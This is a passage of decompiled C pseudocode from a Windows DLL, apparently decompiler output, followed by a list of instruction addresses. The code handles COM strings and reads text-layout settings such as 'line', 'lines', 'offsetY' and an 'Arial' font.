																																														if((_t1401 | 0xffffffff) == 1) {
																																															__eflags = _t1859;
																																															if(_t1859 != 0) {
																																																_t1404 =  *_t1859;
																																																__eflags = _t1404;
																																																if(_t1404 != 0) {
																																																	__imp__#6(_t1404);
																																																	 *_t1859 = 0;
																																																}
																																																_t1405 =  *(_t1859 + 4);
																																																__eflags = _t1405;
																																																if(_t1405 != 0) {
																																																	E6ED341CF(_t1405);
																																																	_t1937 = _t1937 + 4;
																																																	 *(_t1859 + 4) = 0;
																																																}
																																																_push(0xc);
																																																E6ED3416E(_t1859);
																																																_t1937 = _t1937 + 8;
																																															}
																																														}
																																														_v220 = 0;
																																													}
																																												}
																																											} else {
																																												_push( &_v68);
																																												_t1775 =  *(E6ED27ED0(_t1613,  &_v212, _t1822, _t1837, _t1907, _t1996));
																																												__eflags = _t1775;
																																												if(_t1775 == 0) {
																																													_t1630 = 0;
																																													__eflags = 0;
																																												} else {
																																													_t1630 =  *_t1775;
																																												}
																																												_t1416 = E6ED27B30(_t1630, L"%lX", _v180 + 0x1c);
																																												_t1859 = _v212;
																																												_t1937 = _t1937 + 0xc;
																																												__eflags = _t1859;
																																												if(_t1859 != 0) {
																																													asm("lock xadd [esi+0x8], eax");
																																													__eflags = (_t1416 | 0xffffffff) == 1;
																																													if((_t1416 | 0xffffffff) == 1) {
																																														__eflags = _t1859;
																																														if(_t1859 != 0) {
																																															_t1419 =  *_t1859;
																																															__eflags = _t1419;
																																															if(_t1419 != 0) {
																																																__imp__#6(_t1419);
																																																 *_t1859 = 0;
																																															}
																																															_t1420 =  *(_t1859 + 4);
																																															__eflags = _t1420;
																																															if(_t1420 != 0) {
																																																E6ED341CF(_t1420);
																																																_t1937 = _t1937 + 4;
																																																 *(_t1859 + 4) = 0;
																																															}
																																															_push(0xc);
																																															E6ED3416E(_t1859);
																																															_t1937 = _t1937 + 8;
																																														}
																																													}
																																													_v212 = 0;
																																												}
																																											}
																																										} else {
																																											_push( &_v68);
																																											_t1429 =  *(E6ED27ED0(_t1612,  &_v204, _t1822, _t1837, _t1906, _t1996));
																																											__eflags = _t1429;
																																											if(_t1429 == 0) {
																																												_t1430 = 0;
																																												__eflags = 0;
																																											} else {
																																												_t1430 =  *_t1429;
																																											}
																																											_t1431 = E6ED4409E(_t1612, _t1837, _t1906, _t1430, L"true");
																																											_t1630 = _v180;
																																											_t1937 = _t1937 + 8;
																																											_t1859 = _v204;
																																											__eflags = _t1431;
																																											 *((char*)(_t1630 + 0x19)) = _t1431 & 0xffffff00 | _t1431 == 0x00000000;
																																											__eflags = _t1859;
																																											if(_t1859 != 0) {
																																												asm("lock xadd [esi+0x8], eax");
																																												__eflags = 0xfffffffffffffffe;
																																												if(0xfffffffffffffffe == 0) {
																																													__eflags = _t1859;
																																													if(_t1859 != 0) {
																																														_t1435 =  *_t1859;
																																														__eflags = _t1435;
																																														if(_t1435 != 0) {
																																															__imp__#6(_t1435);
																																															 *_t1859 = 0;
																																														}
																																														_t1436 =  *(_t1859 + 4);
																																														__eflags = _t1436;
																																														if(_t1436 != 0) {
																																															E6ED341CF(_t1436);
																																															_t1937 = _t1937 + 4;
																																															 *(_t1859 + 4) = 0;
																																														}
																																														_push(0xc);
																																														E6ED3416E(_t1859);
																																														_t1937 = _t1937 + 8;
																																													}
																																												}
																																												_v204 = 0;
																																											}
																																										}
																																									} else {
																																										_push( &_v68);
																																										_t1445 =  *(E6ED27ED0(_t1611,  &_v196, _t1822, _t1837, _t1905, _t1996));
																																										__eflags = _t1445;
																																										if(_t1445 == 0) {
																																											_t1446 = 0;
																																											__eflags = 0;
																																										} else {
																																											_t1446 =  *_t1445;
																																										}
																																										_t1447 = E6ED4409E(_t1611, _t1837, _t1905, _t1446, L"true");
																																										_t1630 = _v180;
																																										_t1937 = _t1937 + 8;
																																										_t1859 = _v196;
																																										__eflags = _t1447;
																																										 *((char*)(_t1630 + 0x18)) = _t1447 & 0xffffff00 | _t1447 == 0x00000000;
																																										__eflags = _t1859;
																																										if(_t1859 != 0) {
																																											asm("lock xadd [esi+0x8], eax");
																																											__eflags = 0xfffffffffffffffe;
																																											if(0xfffffffffffffffe == 0) {
																																												__eflags = _t1859;
																																												if(_t1859 != 0) {
																																													_t1451 =  *_t1859;
																																													__eflags = _t1451;
																																													if(_t1451 != 0) {
																																														__imp__#6(_t1451);
																																														 *_t1859 = 0;
																																													}
																																													_t1452 =  *(_t1859 + 4);
																																													__eflags = _t1452;
																																													if(_t1452 != 0) {
																																														E6ED341CF(_t1452);
																																														_t1937 = _t1937 + 4;
																																														 *(_t1859 + 4) = 0;
																																													}
																																													_push(0xc);
																																													E6ED3416E(_t1859);
																																													_t1937 = _t1937 + 8;
																																												}
																																											}
																																											_v196 = 0;
																																										}
																																									}
																																								} else {
																																									_push( &_v68);
																																									_t1460 = E6ED27ED0(_t1610,  &_v188, _t1822, _t1837, _t1904, _t1996);
																																									_v16 = 0x10;
																																									_t1835 =  *_t1460;
																																									__eflags = _t1835;
																																									if(_t1835 == 0) {
																																										_t1822 = 0;
																																										__eflags = 0;
																																									} else {
																																										_t1822 =  *_t1835;
																																									}
																																									_t1785 = _t1822;
																																									_t308 = _t1785 + 2; // 0x2
																																									_t1909 = _t308;
																																									do {
																																										_t1461 =  *_t1785;
																																										_t1785 = _t1785 + 2;
																																										__eflags = _t1461;
																																									} while (_t1461 != 0);
																																									_push(_t1785 - _t1909 >> 1);
																																									_t1630 = _v180;
																																									_t1462 = E6ED2B860(_t1610, _t1630, _t1837, _t1909, _t1996, _t1822);
																																									_t1859 = _v188;
																																									__eflags = _t1859;
																																									if(_t1859 != 0) {
																																										asm("lock xadd [esi+0x8], eax");
																																										__eflags = (_t1462 | 0xffffffff) == 1;
																																										if((_t1462 | 0xffffffff) == 1) {
																																											__eflags = _t1859;
																																											if(_t1859 != 0) {
																																												_t1465 =  *_t1859;
																																												__eflags = _t1465;
																																												if(_t1465 != 0) {
																																													__imp__#6(_t1465);
																																													 *_t1859 = 0;
																																												}
																																												_t1466 =  *(_t1859 + 4);
																																												__eflags = _t1466;
																																												if(_t1466 != 0) {
																																													E6ED341CF(_t1466);
																																													_t1937 = _t1937 + 4;
																																													 *(_t1859 + 4) = 0;
																																												}
																																												_push(0xc);
																																												E6ED3416E(_t1859);
																																												_t1937 = _t1937 + 8;
																																											}
																																										}
																																										_v188 = 0;
																																									}
																																								}
																																								_t1389 =  &_v68;
																																								__imp__#9(_t1389);
																																								asm("lock xadd [edi+0x8], eax");
																																								__eflags = (_t1389 | 0xffffffff) == 1;
																																								if((_t1389 | 0xffffffff) == 1) {
																																									_t1393 =  *_t1837;
																																									__eflags = _t1393;
																																									if(_t1393 != 0) {
																																										__imp__#6(_t1393);
																																										 *_t1837 = 0;
																																									}
																																									_t1394 = _t1837[2];
																																									__eflags = _t1394;
																																									if(_t1394 != 0) {
																																										E6ED341CF(_t1394);
																																										_t1937 = _t1937 + 4;
																																										_t1837[2] = 0;
																																									}
																																									_push(0xc);
																																									E6ED3416E(_t1837);
																																									_t1937 = _t1937 + 8;
																																								}
																																								_v16 = 4;
																																								_t1837 = __imp__#6;
																																								 *_t1837(_v40);
																																								_t1591 = _v224 + 1;
																																								_v224 = _t1591;
																																								__eflags = _t1591 - _v52;
																																								if(_t1591 >= _v52) {
																																									goto L297;
																																								} else {
																																									_t1324 = _v44;
																																									continue;
																																								}
																																							}
																																						}
																																					} else {
																																						__eflags = _t1859;
																																						if(__eflags != 0) {
																																							L344:
																																							_t1375 = E6ED37500(0x8007000e);
																																							L345:
																																							E6ED37500(_t1375);
																																							goto L346;
																																						} else {
																																							goto L172;
																																						}
																																					}
																																				}
																																			}
																																		}
																																	}
																																}
																															}
																															goto L737;
																														}
																														goto L346;
																													}
																												}
																											}
																										}
																									}
																								} else {
																									_t973 = _t1822;
																									goto L150;
																								}
																							}
																						}
																					} else {
																						_t966 = _t1821;
																						goto L143;
																					}
																				}
																			}
																		} else {
																			_t1483 = MultiByteToWideChar(3, 0, "line", 0xffffffff, _t1837, _t1854);
																			__eflags = _t1483 - _t1854;
																			if(_t1483 != _t1854) {
																				L137:
																				__imp__#6(_t1837);
																				goto L138;
																			} else {
																				__imp__#314(_v36, _t1837, 0x400, 0);
																				_t1837 = __imp__#6;
																				_t1854 = _t1483;
																				 *_t1837(_t1837);
																				__eflags = _t1854 - 1;
																				if(_t1854 != 1) {
																					L117:
																					_v32 = 0;
																					_v12 = 0xa;
																					_t1485 = _v28;
																					__eflags = _t1485;
																					if(_t1485 == 0) {
																						goto L134;
																					} else {
																						_t1820 =  &_v32;
																						_v12 = 0xa;
																						_v32 = 0;
																						_t1486 =  *((intOrPtr*)( *_t1485 + 0x40))(_t1485,  &_v32);
																						__eflags = _t1486;
																						if(_t1486 < 0) {
																							_v12 = 0xc;
																							_t1487 = _v32;
																							__eflags = _t1487;
																							if(_t1487 != 0) {
																								 *((intOrPtr*)( *_t1487 + 8))(_t1487);
																							}
																							goto L133;
																						} else {
																							_t1625 = _v28;
																							_t1489 = _v32;
																							__eflags = _t1625 - _t1489;
																							if(_t1625 != _t1489) {
																								_t1854 = _t1489;
																								_v12 = 0xe;
																								__eflags = _t1854;
																								if(_t1854 != 0) {
																									 *((intOrPtr*)( *_t1489 + 4))(_t1489);
																									_t1625 = _v28;
																									_t1489 = _v32;
																								}
																								_v28 = _t1854;
																								_v12 = 0xf;
																								__eflags = _t1625;
																								if(_t1625 != 0) {
																									 *((intOrPtr*)( *_t1625 + 8))(_t1625);
																									_t1489 = _v32;
																								}
																							}
																							_v12 = 0x10;
																							__eflags = _t1489;
																							if(_t1489 != 0) {
																								_t1625 =  *_t1489;
																								 *((intOrPtr*)(_t1625 + 8))(_t1489);
																							}
																							 *_t1837(_v36);
																							_t1476 = _v28;
																							__eflags = _t1476;
																							if(_t1476 != 0) {
																								continue;
																							} else {
																								goto L127;
																							}
																						}
																					}
																				} else {
																					_push(5);
																					_v104 = 0;
																					_v88 = 0;
																					_v84 = 7;
																					_v104 = 0;
																					_t1496 = E6ED2B860(_t1591,  &_v104, _t1837, _t1854, _t1996, L"Arial");
																					asm("movsd xmm0, [0x6ed66528]");
																					_v80 = _t1854;
																					_v76 = 0xffffff;
																					asm("movsd [ebp-0x40], xmm0");
																					_v64 = 0;
																					_v60 = 0;
																					_v56 = 0;
																					_t1820 =  &_v104;
																					_v12 = 4;
																					L153();
																					__eflags = _t1496;
																					if(_t1496 == 0) {
																						L113:
																						_t1625 =  &_v64;
																						_v12 = 2;
																						E6ED2B7E0(_t1591, _t1625, _t1820, _t1837, _t1854, _t1996);
																						_t1820 = _v84;
																						__eflags = _t1820 - 8;
																						if(_t1820 < 8) {
																							goto L117;
																						} else {
																							_t1625 = _v104;
																							_t1820 = 2 + _t1820 * 2;
																							_t1498 = _t1625;
																							__eflags = _t1820 - 0x1000;
																							if(_t1820 < 0x1000) {
																								L116:
																								_push(_t1820);
																								E6ED3416E(_t1625);
																								_t1934 = _t1934 + 8;
																								goto L117;
																							} else {
																								_t1625 =  *(_t1625 - 4);
																								_t1820 = _t1820 + 0x23;
																								__eflags = _t1498 - _t1625 + 0xfffffffc - 0x1f;
																								if(__eflags > 0) {
																									goto L136;
																								} else {
																									goto L116;
																								}
																							}
																						}
																					} else {
																						_t1854 =  *(_t1591 + 4);
																						_push( &_v104);
																						__eflags = _t1854 -  *(_t1591 + 8);
																						if(_t1854 ==  *(_t1591 + 8)) {
																							E6ED2C030(_t1591, _t1591, _t1837, _t1854, _t1996, _t1854);
																							goto L113;
																						} else {
																							_t1625 = _t1854;
																							_v120 = _t1854;
																							E6ED2C830(_t1625, _t1996);
																							 *((char*)(_t1854 + 0x18)) = _v80;
																							 *((char*)(_t1854 + 0x19)) = _v79;
																							 *(_t1854 + 0x1c) = _v76;
																							asm("movsd xmm0, [ebp-0x40]");
																							asm("movsd [esi+0x20], xmm0");
																							_v12 = 5;
																							_t1591 = _t1854 + 0x28;
																							 *_t1591 = 0;
																							 *(_t1591 + 4) = 0;
																							 *(_t1591 + 8) = 0;
																							_t1508 = _v60;
																							_t1837 = _v64;
																							_v112 = _t1591;
																							_v108 = _t1508;
																							__eflags = _t1837 - _t1508;
																							if(_t1837 == _t1508) {
																								L111:
																								_t1591 = _v116;
																								_t1837 = __imp__#6;
																								 *(_t1591 + 4) =  *(_t1591 + 4) + 0x38;
																								goto L113;
																							} else {
																								_t1511 = (_t1508 - _t1837 >> 3) * 0xba2e8ba3;
																								__eflags = _t1511 - 0x2e8ba2e;
																								if(_t1511 > 0x2e8ba2e) {
																									L135:
																									E6ED219A0();
																									goto L136;
																								} else {
																									_t1854 = _t1511 * 0x58;
																									__eflags = _t1854 - 0x1000;
																									if(_t1854 < 0x1000) {
																										__eflags = _t1854;
																										if(__eflags == 0) {
																											_t1512 = 0;
																											__eflags = 0;
																										} else {
																											_t1512 = E6ED3419F( &_v104, __eflags, _t1854);
																											_t1934 = _t1934 + 4;
																										}
																										L108:
																										 *_t1591 = _t1512;
																										 *(_t1591 + 4) = _t1512;
																										 *(_t1591 + 8) = _t1512 + _t1854;
																										_v124 = _t1591;
																										_t1911 =  *_t1591;
																										asm("xorps xmm0, xmm0");
																										asm("movq [ebp-0x28], xmm0");
																										_v40 = 0;
																										_v48 = _t1911;
																										_v44 = _t1911;
																										_v40 = _t1591;
																										_v12 = 7;
																										_t1848 =  &(_t1837[0x18]);
																										__eflags = _t1848;
																										_t1618 = _v108;
																										goto L109;
																										L109:
																										_t184 = _t1848 - 0x30; // -96
																										_v108 = _t1911;
																										E6ED2C830(_t1911, _t1996, _t184);
																										_t186 = _t1848 - 0x18; // -72
																										_v12 = 8;
																										E6ED2C830(_t1911 + 0x18, _t1996, _t186);
																										_v12 = 9;
																										E6ED2C830(_t1911 + 0x30, _t1996, _t1848);
																										 *((intOrPtr*)(_t1911 + 0x48)) =  *((intOrPtr*)(_t1848 + 0x18));
																										 *((intOrPtr*)(_t1911 + 0x4c)) =  *((intOrPtr*)(_t1848 + 0x1c));
																										asm("movsd xmm0, [edi+0x20]");
																										_t1848 = _t1848 + 0x58;
																										asm("movsd [esi+0x50], xmm0");
																										_t1911 = _t1911 + 0x58;
																										_v12 = 7;
																										_v44 = _t1911;
																										_t197 = _t1848 - 0x30; // -184
																										__eflags = _t197 - _t1618;
																										if(_t197 != _t1618) {
																											goto L109;
																										} else {
																											_v48 = _t1911;
																											 *(_v112 + 4) = _t1911;
																										}
																										goto L111;
																									} else {
																										_t1522 = _t1854 + 0x23;
																										__eflags = _t1854 + 0x23 - _t1854;
																										if(__eflags <= 0) {
																											goto L135;
																										} else {
																											_t1625 = E6ED3419F( &_v104, __eflags, _t1522);
																											_t1934 = _t1934 + 4;
																											__eflags = _t1625;
																											if(__eflags == 0) {
																												L136:
																												E6ED3D5F4(_t1591, _t1625, _t1820, __eflags);
																												goto L137;
																											} else {
																												_t173 = _t1625 + 0x23; // 0x23
																												_t1512 = _t173 & 0xffffffe0;
																												 *(_t1512 - 4) = _t1625;
																												goto L108;
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																	goto L737;
																}
																goto L134;
															}
														}
													} else {
														_t1542 = MultiByteToWideChar(3, 0, "lines", 0xffffffff, _t1837, _t1854);
														__eflags = _t1542 - _t1854;
														if(_t1542 != _t1854) {
															L87:
															__imp__#6(_t1837);
															goto L88;
														} else {
															__imp__#314(_v32, _t1837, 0x400, 0);
															_t1837 = __imp__#6;
															_t1854 = _t1542;
															 *_t1837(_t1837);
															__eflags = _t1854 - 1;
															if(_t1854 == 1) {
																_t1624 =  &_v28;
																_t1820 = _v96 + 4;
																L89();
															}
															_v24 = 0;
															_v8 = 0x17;
															_t1544 = _v28;
															__eflags = _t1544;
															if(_t1544 == 0) {
																goto L86;
															} else {
																_t1820 =  &_v24;
																_v8 = 0x17;
																_v24 = 0;
																_t1545 =  *((intOrPtr*)( *_t1544 + 0x40))(_t1544, _t1820);
																__eflags = _t1545;
																if(_t1545 < 0) {
																	_v8 = 0x19;
																	_t1546 = _v24;
																	__eflags = _t1546;
																	if(_t1546 != 0) {
																		 *((intOrPtr*)( *_t1546 + 8))(_t1546);
																	}
																	goto L79;
																} else {
																	_t1624 = _v28;
																	_t1548 = _v24;
																	__eflags = _t1624 - _t1548;
																	if(_t1624 != _t1548) {
																		_t1854 = _t1548;
																		_v8 = 0x1d;
																		__eflags = _t1854;
																		if(_t1854 != 0) {
																			 *((intOrPtr*)( *_t1548 + 4))(_t1548);
																			_t1624 = _v28;
																			_t1548 = _v24;
																		}
																		_v28 = _t1854;
																		_v8 = 0x1e;
																		__eflags = _t1624;
																		if(_t1624 != 0) {
																			 *((intOrPtr*)( *_t1624 + 8))(_t1624);
																			_t1548 = _v24;
																		}
																	}
																	_v8 = 0x1f;
																	__eflags = _t1548;
																	if(_t1548 != 0) {
																		_t1624 =  *_t1548;
																		 *((intOrPtr*)(_t1624 + 8))(_t1548);
																	}
																	 *_t1837(_v32);
																	_t1535 = _v28;
																	__eflags = _t1535;
																	if(_t1535 != 0) {
																		continue;
																	} else {
																		goto L72;
																	}
																}
															}
														}
													}
												}
												goto L737;
											}
											goto L86;
										}
									}
								} else {
									while(1) {
										_t1854 = _v40;
										if(_t1854 == 0) {
											goto L86;
										} else {
											_t1624 =  *_t1854;
											_t1837 =  *(_t1624 + 0x28);
											_v8 = 5;
											if(_t1532 != 0) {
												_t1624 =  *_t1532;
												 *((intOrPtr*)(_t1624 + 8))(_t1532);
											}
										}
										_v8 = 4;
										_push( &_v36);
										_push(_t1590);
										_push(_t1854);
										_v36 = 0;
										if( *_t1837() < 0) {
											L52:
											_t1620 = 0;
											L75:
											_v8 = 0x21;
											_t1536 = _v36;
											__eflags = _t1536;
											if(_t1536 != 0) {
												 *((intOrPtr*)( *_t1536 + 8))(_t1536);
											}
											L81:
											_v8 = 0x22;
											_t1805 = _v40;
											__eflags = _t1805;
											if(_t1805 != 0) {
												_t1820 =  *_t1805;
												 *((intOrPtr*)( *_t1805 + 8))(_t1805);
											}
											 *[fs:0x0] = _v16;
											_pop(_t1849);
											_pop(_t1912);
											_pop(_t1621);
											__eflags = _v20 ^ _t1914;
											return E6ED34160(_t1620, _t1621, _v20 ^ _t1914, _t1820, _t1849, _t1912);
										} else {
											_v24 = 0;
											_v8 = 8;
											_t1556 = _v36;
											if(_t1556 == 0) {
												goto L86;
											} else {
												_t1624 =  *_t1556;
												_t1820 =  &_v24;
												_push(_t1820);
												_push(_t1556);
												if( *((intOrPtr*)(_t1624 + 0x1c))() < 0) {
													L51:
													__imp__#6(_v24);
													goto L52;
												} else {
													_t1558 = _v36;
													if(_t1558 == 0) {
														goto L86;
													} else {
														_t1624 =  *_t1558;
														_t1820 =  &_v84;
														_t1559 =  *((intOrPtr*)(_t1624 + 0x20))(_t1558, _t1820);
														_t1973 = _t1559;
														if(_t1559 < 0) {
															goto L51;
														} else {
															_t1837 = _v24;
															_t1560 = E6ED3419F(_t1820, _t1973, 0xc);
															_t1854 = _t1560;
															_t1933 = _t1933 + 4;
															_v108 = _t1854;
															_v8 = 0xd;
															if(_t1854 == 0) {
																_t1854 = 0;
																__eflags = 0;
																L18:
																_v8 = 8;
																_v48 = _t1854;
																if(_t1854 == 0) {
																	goto L84;
																} else {
																	_v8 = 0xe;
																	__imp__#8( &_v68);
																	_t1561 =  &_v68;
																	__imp__#10(_t1561,  &_v84);
																	_t1978 = _t1561;
																	if(_t1561 < 0) {
																		goto L85;
																	} else {
																		_v8 = 0xf;
																		_t1565 = E6ED27C80(_t1590,  &_v32, _t1820, _t1978, "offsetY");
																		_t1624 =  &_v48;
																		_t1566 = E6ED27D80(_t1624, _t1565);
																		_t1850 = _v32;
																		_t1622 = _t1566;
																		if(_t1850 != 0) {
																			asm("lock xadd [edi+0x8], ecx");
																			_t1624 = (_t1624 | 0xffffffff) - 1;
																			if(_t1624 == 0 && _t1850 != 0) {
																				_t1585 =  *_t1850;
																				if(_t1585 != 0) {
																					__imp__#6(_t1585);
																					 *_t1850 = 0;
																				}
																				_t49 =  &(_t1850[1]); // 0x8d04438b
																				_t1586 =  *_t49;
																				if( *_t49 != 0) {
																					E6ED341CF(_t1586);
																					_t1933 = _t1933 + 4;
																					_t1850[1] = 0;
																				}
																				_push(0xc);
																				E6ED3416E(_t1850);
																				_t1933 = _t1933 + 8;
																			}
																			_v32 = 0;
																		}
																		if(_t1622 != 0) {
																			_push( &_v68);
																			_t1818 =  &_v88;
																			_t1576 = E6ED27ED0(_t1622,  &_v88, _t1820, _t1850, _t1854, _t1996);
																			_v8 = 0x10;
																			_t1851 =  *_t1576;
																			if(_t1851 == 0) {
																				_t1577 = 0;
																				__eflags = 0;
																			} else {
																				_t55 = _t1851 + 4; // 0x8d04438b
																				_t1577 =  *_t55;
																				if( *_t55 == 0) {
																					 *((intOrPtr*)(_t1851 + 4)) = E6ED37520(_t1622,  *_t1851);
																				}
																			}
																			_t1578 = E6ED44079(_t1818, _t1577);
																			_t1624 = _v96;
																			_t1933 = _t1933 + 4;
																			_t1852 = _v88;
																			 *_t1624 = _t1578;
																			if(_t1852 != 0) {
																				asm("lock xadd [edi+0x8], eax");
																				if((_t1578 | 0xffffffff) == 1 && _t1852 != 0) {
																					_t1581 =  *_t1852;
																					if(_t1581 != 0) {
																						__imp__#6(_t1581);
																						 *_t1852 = 0;
																					}
																					_t1582 = _t1852[1];
																					if(_t1852[1] != 0) {
																						E6ED341CF(_t1582);
																						_t1933 = _t1933 + 4;
																						_t1852[1] = 0;
																					}
																					_push(0xc);
																					E6ED3416E(_t1852);
																					_t1933 = _t1933 + 8;
																				}
																				_v88 = 0;
																			}
																		}
																		_t1567 =  &_v68;
																		__imp__#9(_t1567);
																		asm("lock xadd [esi+0x8], eax");
																		if((_t1567 | 0xffffffff) == 1) {
																			_t1571 =  *_t1854;
																			if(_t1571 != 0) {
																				__imp__#6(_t1571);
																				 *_t1854 = 0;
																			}
																			_t1572 =  *(_t1854 + 4);
																			if( *(_t1854 + 4) != 0) {
																				E6ED341CF(_t1572);
																				_t1933 = _t1933 + 4;
																				 *(_t1854 + 4) = 0;
																			}
																			_push(0xc);
																			E6ED3416E(_t1854);
																			_t1933 = _t1933 + 8;
																		}
																		_v8 = 4;
																		_t1837 = __imp__#6;
																		 *_t1837(_v24);
																		_t1590 = _v92 + 1;
																		_v92 = _t1590;
																		if(_t1590 >= _v44) {
																			goto L53;
																		} else {
																			_t1532 = _v36;
																			continue;
																		}
																	}
																}
															} else {
																asm("xorps xmm0, xmm0");
																asm("movq [esi], xmm0");
																 *(_t1854 + 8) = 0;
																 *(_t1854 + 4) = 0;
																 *(_t1854 + 8) = 1;
																__imp__#2(_t1837);
																 *_t1854 = _t1560;
																if(_t1560 != 0 || _t1837 == 0) {
																	goto L18;
																} else {
																	L84:
																	_t1561 = E6ED37500(0x8007000e);
																	L85:
																	E6ED37500(_t1561);
																	goto L86;
																}
															}
														}
													}
												}
											}
										}
										goto L737;
									}
									goto L86;
								}
							}
						}
					}
				}
				L737:
			}

0x6ed28980
0x6ed28980
0x6ed28980
0x6ed28980
0x6ed28980
0x6ed28981
0x6ed28983
0x6ed28985
0x6ed28990
0x6ed28991
0x6ed28994
0x6ed28999
0x6ed2899b
0x6ed2899e
0x6ed2899f
0x6ed289a0
0x6ed289a1
0x6ed289a5
0x6ed289ab
0x6ed289b0
0x6ed289b3
0x6ed289ba
0x6ed289c1
0x6ed289c5
0x6ed28e79
0x6ed28e7e
0x00000000
0x6ed289cb
0x6ed289cd
0x6ed289d0
0x6ed289d4
0x6ed289d5
0x6ed289d6
0x6ed289e2
0x6ed28e35
0x6ed28e35
0x6ed28e35
0x00000000
0x6ed289e8
0x6ed289e8
0x6ed289ed
0x00000000
0x6ed289f3
0x6ed289f3
0x6ed289f5
0x6ed289f8
0x6ed289f9
0x6ed289ff
0x00000000
0x6ed28a05
0x6ed28a05
0x6ed28a07
0x6ed28a0a
0x6ed28a0c
0x6ed28a10
0x6ed28a16
0x6ed28a1c
0x6ed28ca0
0x6ed28ca0
0x6ed28caa
0x6ed28cae
0x6ed28cb0
0x6ed28cb2
0x00000000
0x6ed28cb8
0x6ed28cba
0x6ed28cbd
0x6ed28cc3
0x6ed28cca
0x6ed28ccd
0x6ed28cd0
0x6ed28cd2
0x6ed28df5
0x6ed28df5
0x00000000
0x6ed28cd8
0x6ed28cd8
0x6ed28ce0
0x6ed28ce0
0x6ed28ce7
0x6ed28ceb
0x6ed28ced
0x00000000
0x00000000
0x6ed28cf5
0x6ed28cfa
0x6ed28cfd
0x6ed28cff
0x6ed28e29
0x6ed28e2c
0x6ed28e2e
0x6ed28e31
0x6ed28df7
0x6ed28df7
0x6ed28dfb
0x6ed28dfd
0x6ed28e02
0x6ed28e02
0x00000000
0x6ed28d05
0x6ed28d14
0x6ed28d16
0x6ed28d18
0x6ed28d18
0x6ed28d1e
0x6ed28d24
0x6ed28d26
0x6ed28d28
0x6ed28e8a
0x6ed28e8f
0x6ed28e94
0x6ed28e95
0x6ed28e96
0x6ed28e97
0x6ed28e98
0x6ed28e99
0x6ed28e9a
0x6ed28e9b
0x6ed28e9c
0x6ed28e9d
0x6ed28e9e
0x6ed28e9f
0x6ed28ea0
0x6ed28ea1
0x6ed28ea3
0x6ed28ea5
0x6ed28eb0
0x6ed28eb1
0x6ed28eb4
0x6ed28eb9
0x6ed28ebb
0x6ed28ebe
0x6ed28ebf
0x6ed28ec0
0x6ed28ec1
0x6ed28ec5
0x6ed28ecb
0x6ed28ecd
0x6ed28ed0
0x6ed28ed7
0x6ed28ede
0x6ed28ee0
0x6ed28ee2
0x6ed2928f
0x6ed29294
0x00000000
0x6ed28ee8
0x6ed28eea
0x6ed28eed
0x6ed28ef3
0x6ed28efa
0x6ed28efd
0x6ed28f00
0x6ed28f02
0x6ed29241
0x6ed29241
0x00000000
0x6ed28f08
0x6ed28f08
0x6ed28f10
0x6ed28f10
0x6ed28f17
0x6ed28f1b
0x6ed28f1d
0x00000000
0x00000000
0x6ed28f25
0x6ed28f2a
0x6ed28f2d
0x6ed28f2f
0x6ed29283
0x6ed29286
0x6ed29288
0x6ed2928b
0x6ed29243
0x6ed29243
0x6ed2924a
0x6ed2924c
0x6ed29251
0x6ed29251
0x6ed29259
0x6ed29261
0x6ed29262
0x6ed29263
0x6ed29267
0x6ed29271
0x6ed28f35
0x6ed28f44
0x6ed28f4a
0x6ed28f4c
0x6ed28f4c
0x6ed28f52
0x6ed28f58
0x6ed28f5a
0x6ed28f5c
0x6ed292aa
0x6ed292af
0x6ed292b4
0x6ed292b5
0x6ed292b6
0x6ed292b7
0x6ed292b8
0x6ed292b9
0x6ed292ba
0x6ed292bb
0x6ed292bc
0x6ed292bd
0x6ed292be
0x6ed292bf
0x6ed292c0
0x6ed292c1
0x6ed292c3
0x6ed292c6
0x6ed292c9
0x6ed292f8
0x6ed292f8
0x6ed292fa
0x6ed29301
0x6ed29308
0x6ed2930c
0x6ed292cb
0x6ed292cb
0x6ed292cd
0x6ed292d4
0x6ed292da
0x6ed292ee
0x6ed292ee
0x6ed292f0
0x00000000
0x6ed292dc
0x6ed292dc
0x6ed292df
0x6ed292e7
0x6ed292ea
0x6ed2930d
0x6ed29312
0x6ed29313
0x6ed29314
0x6ed29315
0x6ed29316
0x6ed29317
0x6ed29318
0x6ed29319
0x6ed2931a
0x6ed2931b
0x6ed2931c
0x6ed2931d
0x6ed2931e
0x6ed2931f
0x6ed29320
0x6ed29321
0x6ed29326
0x6ed2932b
0x6ed2932e
0x6ed29331
0x6ed29360
0x6ed29360
0x6ed29362
0x6ed29369
0x6ed29370
0x6ed29374
0x6ed29333
0x6ed29333
0x6ed29335
0x6ed2933c
0x6ed29342
0x6ed29356
0x6ed29356
0x6ed29358
0x00000000
0x6ed29344
0x6ed29344
0x6ed29347
0x6ed2934f
0x6ed29352
0x6ed29375
0x6ed2937a
0x6ed2937b
0x6ed2937c
0x6ed2937d
0x6ed2937e
0x6ed2937f
0x6ed29380
0x6ed29381
0x6ed29383
0x6ed29385
0x6ed29390
0x6ed29391
0x6ed29397
0x6ed2939c
0x6ed2939e
0x6ed293a1
0x6ed293a2
0x6ed293a3
0x6ed293a4
0x6ed293a8
0x6ed293ae
0x6ed293b4
0x6ed293b6
0x6ed293bc
0x6ed293c3
0x6ed293ca
0x6ed293cc
0x6ed293ce
0x6ed29e88
0x6ed29e8d
0x00000000
0x6ed293d4
0x6ed293d6
0x6ed293d9
0x6ed293df
0x6ed293e6
0x6ed293e9
0x6ed293eb
0x6ed29e44
0x6ed29e44
0x6ed29e44
0x00000000
0x6ed293f1
0x6ed293f1
0x6ed293f4
0x6ed293f6
0x00000000
0x6ed293fc
0x6ed293fc
0x6ed293fe
0x6ed29403
0x6ed29406
0x6ed29408
0x00000000
0x6ed2940e
0x6ed2940e
0x6ed29410
0x6ed29413
0x6ed29415
0x6ed29419
0x6ed2941f
0x6ed29425
0x6ed29428
0x6ed29b2c
0x6ed29b2c
0x6ed29b39
0x6ed29b3d
0x6ed29b3f
0x6ed29b41
0x00000000
0x6ed29b47
0x6ed29b49
0x6ed29b4c
0x6ed29b52
0x6ed29b59
0x6ed29b5c
0x6ed29b5f
0x6ed29b61
0x6ed29e04
0x6ed29e04
0x00000000
0x6ed29b67
0x6ed29b67
0x6ed29b70
0x6ed29b70
0x6ed29b77
0x6ed29b7b
0x6ed29b7d
0x00000000
0x00000000
0x6ed29b85
0x6ed29b8a
0x6ed29b8d
0x6ed29b8f
0x6ed29e38
0x6ed29e3b
0x6ed29e3d
0x6ed29e40
0x6ed29e06
0x6ed29e06
0x6ed29e0a
0x6ed29e0c
0x6ed29e11
0x6ed29e11
0x00000000
